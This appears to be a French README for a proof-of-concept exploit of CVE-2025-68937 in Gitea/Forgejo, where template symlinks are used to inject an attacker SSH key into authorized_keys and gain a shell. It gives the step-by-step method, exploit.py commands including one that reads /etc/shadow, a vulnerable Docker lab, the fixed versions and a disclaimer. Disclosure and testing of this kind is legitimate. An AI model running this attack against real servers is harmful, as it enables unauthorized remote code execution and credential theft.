CVE-2025-68937 - RCE par lien symbolique de modèle Gitea/Forgejo

Preuve de concept automatisée pour la CVE-2025-68937 : traversée de répertoire via déréférencement de liens symboliques dans le traitement des dépôts modèles de Gitea et Forgejo, conduisant à une exécution de code à distance.

Tout utilisateur authentifié (aucun privilège administrateur requis) peut obtenir un shell en tant qu'utilisateur système git.

Vulnérabilité

Lors de la génération d'un nouveau dépôt à partir d'un modèle, Gitea/Forgejo copie les fichiers du modèle et développe des variables telles que ${REPO_DESCRIPTION} dans les fichiers listés dans .gitea/template. Ce processus suit les liens symboliques sans validation, ce qui permet à un attaquant de lire et d'écrire des fichiers arbitraires sur le serveur.

Versions concernées

Comment ça fonctionne

                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...

1. Enregistrer une clé SSH empoisonnée auprès de Gitea — le commentaire de la clé contient ${REPO_DESCRIPTION}, une variable de modèle que Gitea développe
2. Créer un dépôt modèle contenant :
   • .gitea/template listant authorized_keys pour le développement des variables
   • Un lien symbolique git authorized_keys pointant vers le vrai fichier authorized_keys de l'utilisateur git
3. Générer un dépôt enfant à partir du modèle avec la clé publique SSH sans restriction de l'attaquant dans le champ description
4. Le développement du modèle suit le lien symbolique, lit le vrai fichier authorized_keys (qui contient notre clé enregistrée avec ${REPO_DESCRIPTION} dans le commentaire), remplace la variable par la description du dépôt enfant (notre clé SSH), puis réécrit le résultat à travers le lien symbolique
5. Se connecter en SSH en tant que git avec la clé injectée (aucune restriction command=)

Utilisation

pip install requests

# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Options

Environnement de test

Lancez une instance vulnérable :

docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6

1. Ouvrez http://localhost:3000, terminez l'assistant d'installation (SQLite fonctionne très bien)
2. Créez un compte utilisateur
3. Exécutez :

python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Prérequis

• Python 3.8+
• requests
• git et ssh-keygen dans le PATH

Correctif

• Gitea : mettre à jour vers 1.24.7 ou ultérieur
• Forgejo : mettre à jour vers 11.0.7 (LTS) ou 13.0.2+

Références

• NVD : CVE-2025-68937
• Avis de sécurité GitHub : GHSA-7mhf-6fhv-c83c
• Analyse du correctif de sécurité de Gitea (PR #36734 & #36746)
• Notes de version de Gitea 1.24.7

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.